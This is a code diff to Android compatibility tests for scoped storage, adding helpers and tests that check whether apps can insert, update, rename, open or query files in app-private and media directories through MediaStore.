+            try (Cursor c = TestUtils.queryFile(jpgFile, MediaStore.MediaColumns.DATE_TAKEN)) {
+                // Since the file is not yet scanned, no metadata is available
+                assertThat(c.moveToFirst()).isTrue();
+                assertThat(c.getString(0)).isNull();
+            }
+
+            // Scan the file to update the metadata. This scan shouldn't no-op
+            final Uri scanUri = MediaStore.scanFile(getContentResolver(), jpgFile);
+            assertNotNull(scanUri);
+
+            // ScanFile was able to update the metadata hence we should see DATE_TAKEN value.
+            try (Cursor c = TestUtils.queryFile(jpgFile, MediaStore.MediaColumns.DATE_TAKEN)) {
+                assertThat(c.moveToFirst()).isTrue();
+                assertThat(c.getString(0)).isNotNull();
+            }
+        } finally {
+            jpgFile.delete();
+        }
+    }
+
+    /**
+     * Make sure inserting files from app private directories in legacy apps is allowed via DATA.
+     */
+    @Test
+    public void testInsertFromExternalDirsViaData() throws Exception {
+        verifyInsertFromExternalMediaDirViaData_allowed();
+
+        ContentValues values = new ContentValues();
+        final String androidObbDir =
+                getContext().getObbDir().toString() + "/" + System.currentTimeMillis();
+        values.put(MediaStore.MediaColumns.DATA, androidObbDir);
+        insertFile(values);
+
+        final String androidDataDir = getExternalFilesDir().toString();
+        values.put(MediaStore.MediaColumns.DATA, androidDataDir);
+        insertFile(values);
+    }
+
+    /**
+     * Make sure inserting files from app private directories in legacy apps is not allowed via
+     * RELATIVE_PATH.
+     */
+    @Test
+    public void testInsertFromExternalDirsViaRelativePath() throws Exception {
+        verifyInsertFromExternalMediaDirViaRelativePath_allowed();
+        verifyInsertFromExternalPrivateDirViaRelativePath_denied();
+    }
+
+    /**
+     * Make sure updating files to app private directories in legacy apps is allowed via DATA.
+     */
+    @Test
+    public void testUpdateToExternalDirsViaData() throws Exception {
+        resetDefaultExternalStorageVolume();
+        Uri uri = insertFileFromExternalMedia(false);
+
+        final String androidMediaDirFile =
+                getAndroidMediaDir().toString() + "/" + System.currentTimeMillis();
+        ContentValues values = new ContentValues();
+        values.put(MediaStore.MediaColumns.DATA, androidMediaDirFile);
+        assertNotEquals(0, updateFile(uri, values));
+
+        final String androidObbDir =
+                getContext().getObbDir().toString() + "/" + System.currentTimeMillis();
+        values.put(MediaStore.MediaColumns.DATA, androidObbDir);
+        assertNotEquals(0, updateFile(uri, values));
+
+        final String androidDataDir = getExternalFilesDir().toString();
+        values.put(MediaStore.MediaColumns.DATA, androidDataDir);
+        assertNotEquals(0, updateFile(uri, values));
+    }
+
+    /**
+     * Make sure updating files to app private directories in legacy apps is not allowed via
+     * RELATIVE_PATH.
+     */
+    @Test
+    public void testUpdateToExternalDirsViaRelativePath() throws Exception {
+        verifyUpdateToExternalMediaDirViaRelativePath_allowed();
+        verifyUpdateToExternalPrivateDirsViaRelativePath_denied();
+    }
+
     private static void assertCanCreateFile(File file) throws IOException {
         if (file.exists()) {
             file.delete();
@@ -824,12 +1059,12 @@
     }
 
     private void createFileInExternalDir(File file) throws Exception {
-        Log.d(TAG, "Creating file " + file + " in the external Directory");
+        Log.d(TAG, "Creating file " + file);
         getContentResolver().openFile(Uri.parse(CONTENT_PROVIDER_URL + file.getPath()), "w", null);
     }
 
     private void deleteFileInExternalDir(File file) throws Exception {
-        Log.d(TAG, "Deleting file " + file + " from the external Directory");
+        Log.d(TAG, "Deleting file " + file);
         getContentResolver().delete(Uri.parse(CONTENT_PROVIDER_URL + file.getPath()), null, null);
     }
 }
diff --git a/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/Android.bp b/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/Android.bp
index b614ebb..332b24b 100644
--- a/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/Android.bp
+++ b/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/Android.bp
@@ -19,6 +19,11 @@
 java_library {
     name: "cts-scopedstorage-lib",
     srcs: ["src/**/*.java"],
-    static_libs: ["androidx.test.rules", "cts-install-lib", "platform-test-annotations",],
+    static_libs: [
+                 "androidx.test.rules",
+                  "cts-install-lib",
+                  "platform-test-annotations",
+                  "androidx.legacy_legacy-support-v4"
+    ],
     sdk_version: "test_current"
 }
diff --git a/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java b/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java
index 2ff6280..8dd94b8 100644
--- a/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java
+++ b/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java
@@ -21,7 +21,12 @@
 import static androidx.test.InstrumentationRegistry.getContext;
 
 import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
 
+import static junit.framework.Assert.assertEquals;
+import static junit.framework.TestCase.assertNotNull;
+
+import static org.junit.Assert.assertNotEquals;
 import static org.junit.Assert.fail;
 
 import android.Manifest;
@@ -41,7 +46,7 @@
 import android.os.Bundle;
 import android.os.Environment;
 import android.os.ParcelFileDescriptor;
-import android.os.SystemClock;
+import android.os.storage.StorageManager;
 import android.provider.MediaStore;
 import android.system.ErrnoException;
 import android.system.Os;
@@ -63,7 +68,6 @@
 import java.io.File;
 import java.io.FileDescriptor;
 import java.io.FileInputStream;
-import java.io.FileOutputStream;
 import java.io.IOException;
 import java.io.InputStream;
 import java.io.InterruptedIOException;
@@ -72,6 +76,7 @@
 import java.util.HashMap;
 import java.util.List;
 import java.util.Locale;
+import java.util.Optional;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 import java.util.concurrent.TimeoutException;
@@ -85,11 +90,24 @@
 
     public static final String QUERY_TYPE = "android.scopedstorage.cts.queryType";
     public static final String INTENT_EXTRA_PATH = "android.scopedstorage.cts.path";
+    public static final String INTENT_EXTRA_URI = "android.scopedstorage.cts.uri";
+    public static final String INTENT_EXTRA_CALLING_PKG = "android.scopedstorage.cts.calling_pkg";
     public static final String INTENT_EXCEPTION = "android.scopedstorage.cts.exception";
     public static final String CREATE_FILE_QUERY = "android.scopedstorage.cts.createfile";
     public static final String CREATE_IMAGE_ENTRY_QUERY =
             "android.scopedstorage.cts.createimageentry";
     public static final String DELETE_FILE_QUERY = "android.scopedstorage.cts.deletefile";
+    public static final String CAN_OPEN_FILE_FOR_READ_QUERY =
+            "android.scopedstorage.cts.can_openfile_read";
+    public static final String CAN_OPEN_FILE_FOR_WRITE_QUERY =
+            "android.scopedstorage.cts.can_openfile_write";
+    public static final String IS_URI_REDACTED_VIA_FILE_DESCRIPTOR_FOR_READ =
+            "android.scopedstorage.cts.is_uri_redacted_via_file_descriptor_for_read";
+    public static final String IS_URI_REDACTED_VIA_FILE_DESCRIPTOR_FOR_WRITE =
+            "android.scopedstorage.cts.is_uri_redacted_via_file_descriptor_for_write";
+    public static final String IS_URI_REDACTED_VIA_FILEPATH =
+            "android.scopedstorage.cts.is_uri_redacted_via_filepath";
+    public static final String QUERY_URI = "android.scopedstorage.cts.query_uri";
     public static final String OPEN_FILE_FOR_READ_QUERY =
             "android.scopedstorage.cts.openfile_read";
     public static final String OPEN_FILE_FOR_WRITE_QUERY =
@@ -98,6 +116,9 @@
             "android.scopedstorage.cts.can_read_and_write";
     public static final String READDIR_QUERY = "android.scopedstorage.cts.readdir";
     public static final String SETATTR_QUERY = "android.scopedstorage.cts.setattr";
+    public static final String CHECK_DATABASE_ROW_EXISTS_QUERY =
+            "android.scopedstorage.cts.check_database_row_exists";
+    public static final String RENAME_FILE_QUERY = "android.scopedstorage.cts.renamefile";
 
     public static final String STR_DATA1 = "Just some random text";
     public static final String STR_DATA2 = "More arbitrary stuff";
@@ -105,6 +126,8 @@
     public static final byte[] BYTES_DATA1 = STR_DATA1.getBytes();
     public static final byte[] BYTES_DATA2 = STR_DATA2.getBytes();
 
+    public static final String RENAME_FILE_PARAMS_SEPARATOR = ";";
+
     // Root of external storage
     private static File sExternalStorageDirectory = Environment.getExternalStorageDirectory();
     private static String sStorageVolumeName = MediaStore.VOLUME_EXTERNAL;
@@ -121,7 +144,10 @@
      */
     public static void setupDefaultDirectories() {
         for (File dir : getDefaultTopLevelDirs()) {
-            dir.mkdir();
+            dir.mkdirs();
+            assertWithMessage("Could not setup default dir [%s]", dir.toString())
+                    .that(dir.exists())
+                    .isTrue();
         }
     }
 
@@ -133,11 +159,15 @@
         uiAutomation.adoptShellPermissionIdentity("android.permission.GRANT_RUNTIME_PERMISSIONS");
         try {
             uiAutomation.grantRuntimePermission(packageName, permission);
-            // Wait for OP_READ_EXTERNAL_STORAGE to get updated.
-            SystemClock.sleep(1000);
         } finally {
             uiAutomation.dropShellPermissionIdentity();
         }
+        try {
+            pollForPermission(packageName, permission, true);
+        } catch (Exception e) {
+            fail("Exception on polling for permission grant for " + packageName + " for "
+                    + permission + ": " + e.getMessage());
+        }
     }
 
     /**
@@ -151,6 +181,12 @@
         } finally {
             uiAutomation.dropShellPermissionIdentity();
         }
+        try {
+            pollForPermission(packageName, permission, false);
+        } catch (Exception e) {
+            fail("Exception on polling for permission revoke for " + packageName + " for "
+                    + permission + ": " + e.getMessage());
+        }
     }
 
     /**
@@ -270,9 +306,222 @@
      *
      * <p>This method drops shell permission identity.
      */
-    public static boolean openFileAs(TestApp testApp, File file, boolean forWrite)
+    public static boolean canOpenFileAs(TestApp testApp, File file, boolean forWrite)
             throws Exception {
-        return openFileAs(testApp, file.getAbsolutePath(), forWrite);
+        String actionName = forWrite ? CAN_OPEN_FILE_FOR_WRITE_QUERY : CAN_OPEN_FILE_FOR_READ_QUERY;
+        return getResultFromTestApp(testApp, file.getPath(), actionName);
+    }
+
+    /**
+     * Makes the given {@code testApp} rename give {@code src} to {@code dst}.
+     *
+     * The method concatenates source and destination paths while sending the request to
+     * {@code testApp}. Hence, {@link TestUtils#RENAME_FILE_PARAMS_SEPARATOR} shouldn't be used
+     * in path names.
+     *
+     * <p>This method drops shell permission identity.
+     */
+    public static boolean renameFileAs(TestApp testApp, File src, File dst) throws Exception {
+        final String paths = String.format("%s%s%s",
+                src.getAbsolutePath(), RENAME_FILE_PARAMS_SEPARATOR, dst.getAbsolutePath());
+        return getResultFromTestApp(testApp, paths, RENAME_FILE_QUERY);
+    }
+
+    /**
+     * Makes the given {@code testApp} check if a database row exists for given {@code file}
+     *
+     * <p>This method drops shell permission identity.
+     */
+    public static boolean checkDatabaseRowExistsAs(TestApp testApp, File file) throws Exception {
+        return getResultFromTestApp(testApp, file.getPath(), CHECK_DATABASE_ROW_EXISTS_QUERY);
+    }
+
+    /**
+     * Makes the given {@code testApp} open file descriptor on {@code uri} and verifies that the fd
+     * redacts EXIF metadata.
+     *
+     * <p> This method drops shell permission identity.
+     */
+    public static boolean isFileDescriptorRedacted(TestApp testApp, Uri uri)
+            throws Exception {
+        String actionName = IS_URI_REDACTED_VIA_FILE_DESCRIPTOR_FOR_READ;
+        return getFromTestApp(testApp, uri, actionName).getBoolean(actionName, false);
+    }
+
+    /**
+     * Makes the given {@code testApp} open file descriptor on {@code uri} and verifies that the fd
+     * redacts EXIF metadata.
+     *
+     * <p> This method drops shell permission identity.
+     */
+    public static boolean canOpenRedactedUriForWrite(TestApp testApp, Uri uri)
+            throws Exception {
+        String actionName = IS_URI_REDACTED_VIA_FILE_DESCRIPTOR_FOR_WRITE;
+        return getFromTestApp(testApp, uri, actionName).getBoolean(actionName, false);
+    }
+
+
+    /**
+     * Makes the given {@code testApp} open file path associated with {@code uri} and verifies that
+     * the path redacts EXIF metadata.
+     *
+     * <p>This method drops shell permission identity.
+     */
+    public static boolean isFileOpenRedacted(TestApp testApp, Uri uri)
+            throws Exception {
+        final String actionName = IS_URI_REDACTED_VIA_FILEPATH;
+        return getFromTestApp(testApp, uri, actionName).getBoolean(actionName, false);
+    }
+
+    /**
+     * Makes the given {@code testApp} query on {@code uri}.
+     *
+     * <p>This method drops shell permission identity.
+     */
+    public static boolean canQueryOnUri(TestApp testApp, Uri uri) throws Exception {
+        final String actionName = QUERY_URI;
+        return getFromTestApp(testApp, uri, actionName).getBoolean(actionName, false);
+    }
+
+    public static Uri insertFileFromExternalMedia(boolean useRelative) throws IOException {
+        ContentValues values = new ContentValues();
+        String filePath =
+                getAndroidMediaDir().toString() + "/" + getContext().getPackageName() + "/"
+                        + System.currentTimeMillis();
+        if (useRelative) {
+            values.put(MediaStore.MediaColumns.RELATIVE_PATH,
+                    "Android/media/" + getContext().getPackageName());
+            values.put(MediaStore.MediaColumns.DISPLAY_NAME, System.currentTimeMillis());
+        } else {
+            values.put(MediaStore.MediaColumns.DATA, filePath);
+        }
+
+        return getContentResolver().insert(
+                MediaStore.Files.getContentUri(sStorageVolumeName), values);
+    }
+
+    public static void insertFile(ContentValues values) {
+        assertNotNull(getContentResolver().insert(
+                MediaStore.Files.getContentUri(sStorageVolumeName), values));
+    }
+
+    public static int updateFile(Uri uri, ContentValues values) {
+        return getContentResolver().update(uri, values, new Bundle());
+    }
+
+    public static void verifyInsertFromExternalPrivateDirViaRelativePath_denied() throws Exception {
+        resetDefaultExternalStorageVolume();
+
+        // Test that inserting files from Android/obb/.. is not allowed.
+        final String androidObbDir = getContext().getObbDir().toString();
+        ContentValues values = new ContentValues();
+        values.put(
+                MediaStore.MediaColumns.RELATIVE_PATH,
+                androidObbDir.substring(androidObbDir.indexOf("Android")));
+        assertThrows(IllegalArgumentException.class, () -> insertFile(values));
+
+        // Test that inserting files from Android/data/.. is not allowed.
+        final String androidDataDir = getExternalFilesDir().toString();
+        values.put(
+                MediaStore.MediaColumns.RELATIVE_PATH,
+                androidDataDir.substring(androidDataDir.indexOf("Android")));
+        assertThrows(IllegalArgumentException.class, () -> insertFile(values));
+    }
+
+    public static void verifyInsertFromExternalMediaDirViaRelativePath_allowed() throws Exception {
+        resetDefaultExternalStorageVolume();
+
+        // Test that inserting files from Android/media/.. is allowed.
+        final String androidMediaDir = getExternalMediaDir().toString();
+        final ContentValues values = new ContentValues();
+        values.put(
+                MediaStore.MediaColumns.RELATIVE_PATH,
+                androidMediaDir.substring(androidMediaDir.indexOf("Android")));
+        insertFile(values);
+    }
+
+    public static void verifyInsertFromExternalPrivateDirViaData_denied() throws Exception {
+        resetDefaultExternalStorageVolume();
+
+        ContentValues values = new ContentValues();
+
+        // Test that inserting files from Android/obb/.. is not allowed.
+        final String androidObbDir =
+                getContext().getObbDir().toString() + "/" + System.currentTimeMillis();
+        values.put(MediaStore.MediaColumns.DATA, androidObbDir);
+        assertThrows(IllegalArgumentException.class, () -> insertFile(values));
+
+        // Test that inserting files from Android/data/.. is not allowed.
+        final String androidDataDir = getExternalFilesDir().toString();
+        values.put(MediaStore.MediaColumns.DATA, androidDataDir);
+        assertThrows(IllegalArgumentException.class, () -> insertFile(values));
+    }
+
+    public static void verifyInsertFromExternalMediaDirViaData_allowed() throws Exception {
+        resetDefaultExternalStorageVolume();
+
+        // Test that inserting files from Android/media/.. is allowed.
+        ContentValues values = new ContentValues();
+        final String androidMediaDirFile =
+                getExternalMediaDir().toString() + "/" + System.currentTimeMillis();
+        values.put(MediaStore.MediaColumns.DATA, androidMediaDirFile);
+        insertFile(values);
+    }
+
+    // NOTE: While updating, DATA field should be ignored for all the apps including file manager.
+    public static void verifyUpdateToExternalDirsViaData_denied() throws Exception {
+        resetDefaultExternalStorageVolume();
+        Uri uri = insertFileFromExternalMedia(false);
+
+        final String androidMediaDirFile =
+                getExternalMediaDir().toString() + "/" + System.currentTimeMillis();
+        ContentValues values = new ContentValues();
+        values.put(MediaStore.MediaColumns.DATA, androidMediaDirFile);
+        assertEquals(0, updateFile(uri, values));
+
+        final String androidObbDir =
+                getContext().getObbDir().toString() + "/" + System.currentTimeMillis();
+        values.put(MediaStore.MediaColumns.DATA, androidObbDir);
+        assertEquals(0, updateFile(uri, values));
+
+        final String androidDataDir = getExternalFilesDir().toString();
+        values.put(MediaStore.MediaColumns.DATA, androidDataDir);
+        assertEquals(0, updateFile(uri, values));
+    }
+
+    public static void verifyUpdateToExternalMediaDirViaRelativePath_allowed()
+            throws IOException {
+        resetDefaultExternalStorageVolume();
+        Uri uri = insertFileFromExternalMedia(true);
+
+        // Test that update to files from Android/media/.. is allowed.
+        final String androidMediaDir = getExternalMediaDir().toString();
+        ContentValues values = new ContentValues();
+        values.put(
+                MediaStore.MediaColumns.RELATIVE_PATH,
+                androidMediaDir.substring(androidMediaDir.indexOf("Android")));
+        assertNotEquals(0, updateFile(uri, values));
+    }
+
+    public static void verifyUpdateToExternalPrivateDirsViaRelativePath_denied()
+            throws Exception {
+        resetDefaultExternalStorageVolume();
+        Uri uri = insertFileFromExternalMedia(true);
+
+        // Test that update to files from Android/obb/.. is not allowed.
+        final String androidObbDir = getContext().getObbDir().toString();
+        ContentValues values = new ContentValues();
+        values.put(
+                MediaStore.MediaColumns.RELATIVE_PATH,
+                androidObbDir.substring(androidObbDir.indexOf("Android")));
+        assertThrows(IllegalArgumentException.class, () -> updateFile(uri, values));
+
+        // Test that update to files from Android/data/.. is not allowed.
+        final String androidDataDir = getExternalFilesDir().toString();
+        values.put(
+                MediaStore.MediaColumns.RELATIVE_PATH,
+                androidDataDir.substring(androidDataDir.indexOf("Android")));
+        assertThrows(IllegalArgumentException.class, () -> updateFile(uri, values));
     }
 
     /**
@@ -280,10 +529,11 @@
      *
      * <p>This method drops shell permission identity.
      */
-    public static boolean openFileAs(TestApp testApp, String path, boolean forWrite)
+    public static ParcelFileDescriptor openFileAs(TestApp testApp, File file, boolean forWrite)
             throws Exception {
-        return getResultFromTestApp(
-                testApp, path, forWrite ? OPEN_FILE_FOR_WRITE_QUERY : OPEN_FILE_FOR_READ_QUERY);
+        String actionName = forWrite ? OPEN_FILE_FOR_WRITE_QUERY : OPEN_FILE_FOR_READ_QUERY;
+        String mode = forWrite ? "rw" : "r";
+        return getPfdFromTestApp(testApp, file, actionName, mode);
     }
 
     /**
@@ -320,7 +570,7 @@
             final String packageName = testApp.getPackageName();
             uiAutomation.adoptShellPermissionIdentity(
                     Manifest.permission.INSTALL_PACKAGES, Manifest.permission.DELETE_PACKAGES);
-            if (InstallUtils.getInstalledVersion(packageName) != -1) {
+            if (isAppInstalled(testApp)) {
                 Uninstall.packages(packageName);
             }
             Install.single(testApp).commit();
@@ -333,6 +583,10 @@
         }
     }
 
+    public static boolean isAppInstalled(TestApp testApp) {
+        return InstallUtils.getInstalledVersion(testApp.getPackageName()) != -1;
+    }
+
     /**
      * Uninstalls a {@link TestApp}.
      */
@@ -410,8 +664,16 @@
      * entry in the database. Returns {@code -1} if file is not found.
      */
     public static int getFileRowIdFromDatabase(@NonNull File file) {
+        return getFileRowIdFromDatabase(getContentResolver(), file);
+    }
+
+    /**
+     * Queries given {@link ContentResolver} for a file and returns the corresponding row ID for
+     * its entry in the database. Returns {@code -1} if file is not found.
+     */
+    public static int getFileRowIdFromDatabase(ContentResolver cr, @NonNull File file) {
         int id = -1;
-        try (Cursor c = queryFile(file, MediaStore.MediaColumns._ID)) {
+        try (Cursor c = queryFile(cr, file, MediaStore.MediaColumns._ID)) {
             if (c.moveToFirst()) {
                 id = c.getInt(0);
             }
@@ -455,7 +717,8 @@
      */
     @NonNull
     public static Cursor queryVideoFile(File file, String... projection) {
-        return queryFile(MediaStore.Video.Media.getContentUri(sStorageVolumeName), file,
+        return queryFile(getContentResolver(),
+                MediaStore.Video.Media.getContentUri(sStorageVolumeName), file,
                 /*includePending*/ true, projection);
     }
 
@@ -465,7 +728,8 @@
      */
     @NonNull
     public static Cursor queryImageFile(File file, String... projection) {
-        return queryFile(MediaStore.Images.Media.getContentUri(sStorageVolumeName), file,
+        return queryFile(getContentResolver(),
+                MediaStore.Images.Media.getContentUri(sStorageVolumeName), file,
                 /*includePending*/ true, projection);
     }
 
@@ -569,6 +833,29 @@
     }
 
     /**
+     * Opens the given file via file path
+     */
+    @NonNull
+    public static ParcelFileDescriptor openWithFilePath(File file, boolean forWrite)
+            throws IOException {
+        return ParcelFileDescriptor.open(file,
+                forWrite
+                ? ParcelFileDescriptor.MODE_READ_WRITE : ParcelFileDescriptor.MODE_READ_ONLY);
+    }
+
+    /**
+     * Returns whether we can open the file.
+     */
+    public static boolean canOpen(File file, boolean forWrite) {
+        try {
+            openWithFilePath(file, forWrite);
+            return true;
+        } catch (IOException expected) {
+            return false;
+        }
+    }
+
+    /**
      * Asserts the given operation throws an exception of type {@code T}.
      */
     public static <T extends Exception> void assertThrows(Class<T> clazz, Operation<Exception> r)
@@ -682,21 +969,50 @@
         }
     }
 
-    /**
-     * Returns whether we can open the file.
-     */
-    public static boolean canOpen(File file, boolean forWrite) {
-        if (forWrite) {
-            try (FileOutputStream fis = new FileOutputStream(file)) {
-                return true;
-            } catch (IOException expected) {
-                return false;
-            }
-        } else {
-            try (FileInputStream fis = new FileInputStream(file)) {
-                return true;
-            } catch (IOException expected) {
-                return false;
+    public static void assertMountMode(String packageName, int uid, int expectedMountMode) {
+        adoptShellPermissionIdentity("android.permission.WRITE_MEDIA_STORAGE");
+        try {
+            final StorageManager storageManager = getContext().getSystemService(
+                    StorageManager.class);
+            final int actualMountMode = storageManager.getExternalStorageMountMode(uid,
+                    packageName);
+            assertThat(actualMountMode).isEqualTo(expectedMountMode);
+        } finally {
+            dropShellPermissionIdentity();
+        }
+    }
+
+    public static void assertCanAccessPrivateAppAndroidDataDir(boolean canAccess,
+            TestApp testApp, String callingPackage, String fileName) throws Exception {
+        File[] dataDirs = getContext().getExternalFilesDirs(null);
+        canReadWriteFilesInDirs(dataDirs, canAccess, testApp, callingPackage, fileName);
+    }
+
+    public static void assertCanAccessPrivateAppAndroidObbDir(boolean canAccess,
+            TestApp testApp, String callingPackage, String fileName) throws Exception {
+        File[] obbDirs = getContext().getObbDirs();
+        canReadWriteFilesInDirs(obbDirs, canAccess, testApp, callingPackage, fileName);
+    }
+
+    private static void canReadWriteFilesInDirs(File[] dirs, boolean canAccess, TestApp testApp,
+            String callingPackage, String fileName) throws Exception {
+        for (File dir : dirs) {
+            final File otherAppExternalDataDir = new File(dir.getPath().replace(
+                    callingPackage, testApp.getPackageName()));
+            final File file = new File(otherAppExternalDataDir, fileName);
+            try {
+                assertThat(file.exists()).isFalse();
+
+                assertThat(createFileAs(testApp, file.getPath())).isTrue();
+                if (canAccess) {
+                    assertThat(file.canRead()).isTrue();
+                    assertThat(file.canWrite()).isTrue();
+                } else {
+                    assertThat(file.canRead()).isFalse();
+                    assertThat(file.canWrite()).isFalse();
+                }
+            } finally {
+                deleteFileAsNoThrow(testApp, file.getAbsolutePath());
             }
         }
     }
@@ -721,6 +1037,48 @@
     }
 
     /**
+     * Polls until {@code app} is granted or denied the given permission.
+     */
+    public static void pollForPermission(TestApp app, String perm, boolean granted)
+            throws Exception {
+        pollForPermission(app.getPackageName(), perm, granted);
+    }
+
+    /**
+     * Polls until {@code packageName} is granted or denied the given permission.
+     */
+    public static void pollForPermission(String packageName, String perm, boolean granted)
+            throws Exception {
+        pollForCondition(
+                () -> granted == checkPermission(packageName, perm),
+                "Timed out while waiting for permission " + perm + " to be "
+                        + (granted ? "granted" : "revoked"));
+    }
+
+    /**
+     * Returns true iff {@code packageName} is granted a given permission.
+     */
+    public static boolean checkPermission(String packageName, String perm) {
+        try {
+            int uid = getContext().getPackageManager().getPackageUid(packageName, 0);
+
+            Optional<ActivityManager.RunningAppProcessInfo> process = getAppProcessInfo(
+                    packageName);
+            int pid = process.isPresent() ? process.get().pid : -1;
+            return checkPermissionAndAppOp(perm, packageName, pid, uid);
+        } catch (PackageManager.NameNotFoundException e) {
+            return false;
+        }
+    }
+
+    /**
+     * Returns true iff {@code app} is granted a given permission.
+     */
+    public static boolean checkPermission(TestApp app, String perm) {
+        return checkPermission(app.getPackageName(), perm);
+    }
+
+    /**
      * Asserts the entire content of the file equals exactly {@code expectedContent}.
      */
     public static void assertFileContent(File file, byte[] expectedContent) throws IOException {
@@ -778,6 +1136,20 @@
     }
 
     /**
+     * Asserts the default volume used in helper methods is the primary volume.
+     */
+    public static void assertDefaultVolumeIsPrimary() {
+        assertVolumeType(true /* isPrimary */);
+    }
+
+    /**
+     * Asserts the default volume used in helper methods is a public volume.
+     */
+    public static void assertDefaultVolumeIsPublic() {
+        assertVolumeType(false /* isPrimary */);
+    }
+
+    /**
      * Creates and returns the Android data sub-directory belonging to the calling package.
      */
     public static File getExternalFilesDir() {
@@ -855,6 +1227,11 @@
                 Environment.DIRECTORY_PODCASTS);
     }
 
+    public static File getRecordingsDir() {
+        return new File(getExternalStorageDir(),
+                Environment.DIRECTORY_RECORDINGS);
+    }
+
     public static File getRingtonesDir() {
         return new File(getExternalStorageDir(),
                 Environment.DIRECTORY_RINGTONES);
@@ -871,7 +1248,8 @@
     public static File[] getDefaultTopLevelDirs() {
         return new File [] { getAlarmsDir(), getAndroidDir(), getAudiobooksDir(), getDcimDir(),
                 getDocumentsDir(), getDownloadDir(), getMusicDir(), getMoviesDir(),
-                getNotificationsDir(), getPicturesDir(), getPodcastsDir(), getRingtonesDir() };
+                getNotificationsDir(), getPicturesDir(), getPodcastsDir(), getRecordingsDir(),
+                getRingtonesDir() };
     }
 
     private static void assertInputStreamContent(InputStream in, byte[] expectedContent)
@@ -885,8 +1263,16 @@
     private static boolean checkPermissionAndAppOp(String permission) {
         final int pid = Os.getpid();
         final int uid = Os.getuid();
+        final String packageName = getContext().getPackageName();
+        return checkPermissionAndAppOp(permission, packageName, pid, uid);
+    }
+
+    /**
+     * Checks if the given {@code permission} is granted and corresponding AppOp is MODE_ALLOWED.
+     */
+    private static boolean checkPermissionAndAppOp(String permission, String packageName, int pid,
+            int uid) {
         final Context context = getContext();
-        final String packageName = context.getPackageName();
         if (context.checkPermission(permission, pid, uid) != PackageManager.PERMISSION_GRANTED) {
             return false;
         }
@@ -910,25 +1296,24 @@
     /**
      * <p>This method drops shell permission identity.
      */
-    private static void forceStopApp(String packageName) throws Exception {
+    public static void forceStopApp(String packageName) throws Exception {
         UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
         try {
             uiAutomation.adoptShellPermissionIdentity(Manifest.permission.FORCE_STOP_PACKAGES);
 
             getContext().getSystemService(ActivityManager.class).forceStopPackage(packageName);
-            Thread.sleep(1000);
+            pollForCondition(() -> {
+                return !isProcessRunning(packageName);
+            }, "Timed out while waiting for " + packageName + " to be stopped");
         } finally {
             uiAutomation.dropShellPermissionIdentity();
         }
     }
 
-    /**
-     * <p>This method drops shell permission identity.
-     */
-    private static void sendIntentToTestApp(TestApp testApp, String dirPath, String actionName,
-            BroadcastReceiver broadcastReceiver, CountDownLatch latch) throws Exception {
-        final String packageName = testApp.getPackageName();
-        forceStopApp(packageName);
+    private static void launchTestApp(TestApp testApp, String actionName,
+            BroadcastReceiver broadcastReceiver, CountDownLatch latch, Intent intent)
+            throws InterruptedException, TimeoutException {
+
         // Register broadcast receiver
         final IntentFilter intentFilter = new IntentFilter();
         intentFilter.addAction(actionName);
@@ -936,50 +1321,58 @@
         getContext().registerReceiver(broadcastReceiver, intentFilter);
 
         // Launch the test app.
-        final Intent intent = new Intent(Intent.ACTION_MAIN);
-        intent.setPackage(packageName);
+        intent.setPackage(testApp.getPackageName());
         intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
         intent.putExtra(QUERY_TYPE, actionName);
-        intent.putExtra(INTENT_EXTRA_PATH, dirPath);
+        intent.putExtra(INTENT_EXTRA_CALLING_PKG, getContext().getPackageName());
         intent.addCategory(Intent.CATEGORY_LAUNCHER);
         getContext().startActivity(intent);
         if (!latch.await(POLLING_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS)) {
             final String errorMessage = "Timed out while waiting to receive " + actionName
-                    + " intent from " + packageName;
+                    + " intent from " + testApp.getPackageName();
             throw new TimeoutException(errorMessage);
         }
         getContext().unregisterReceiver(broadcastReceiver);
     }
 
     /**
+     * Sends intent to {@code testApp} for actions on {@code dirPath}
+     *
+     * <p>This method drops shell permission identity.
+     */
+    private static void sendIntentToTestApp(TestApp testApp, String dirPath, String actionName,
+            BroadcastReceiver broadcastReceiver, CountDownLatch latch) throws Exception {
+        final String packageName = testApp.getPackageName();
+        forceStopApp(packageName);
+
+        // Launch the test app.
+        final Intent intent = new Intent(Intent.ACTION_MAIN);
+        intent.putExtra(INTENT_EXTRA_PATH, dirPath);
+        launchTestApp(testApp, actionName, broadcastReceiver, latch, intent);
+    }
+
+    /**
+     * Sends intent to {@code testApp} for actions on {@code uri}
+     *
+     * <p>This method drops shell permission identity.
+     */
+    private static void sendIntentToTestApp(TestApp testApp, Uri uri, String actionName,
+            BroadcastReceiver broadcastReceiver, CountDownLatch latch) throws Exception {
+
+        final Intent intent = new Intent(Intent.ACTION_MAIN);
+        intent.putExtra(INTENT_EXTRA_URI, uri);
+        launchTestApp(testApp, actionName, broadcastReceiver, latch, intent);
+    }
+
+    /**
      * Gets images/video metadata from a test app.
      *
      * <p>This method drops shell permission identity.
      */
     private static HashMap<String, String> getMetadataFromTestApp(
             TestApp testApp, String dirPath, String actionName) throws Exception {
-        final CountDownLatch latch = new CountDownLatch(1);
-        final HashMap<String, String> appOutputList = new HashMap<>();
-        final Exception[] exception = new Exception[1];
-        exception[0] = null;
-        final BroadcastReceiver broadcastReceiver = new BroadcastReceiver() {
-            @Override
-            public void onReceive(Context context, Intent intent) {
-                if (intent.hasExtra(INTENT_EXCEPTION)) {
-                    exception[0] = (Exception) (intent.getExtras().get(INTENT_EXCEPTION));
-                } else if (intent.hasExtra(actionName)) {
-                    HashMap<String, String> res =
-                            (HashMap<String, String>) intent.getExtras().get(actionName);
-                    appOutputList.putAll(res);
-                }
-                latch.countDown();
-            }
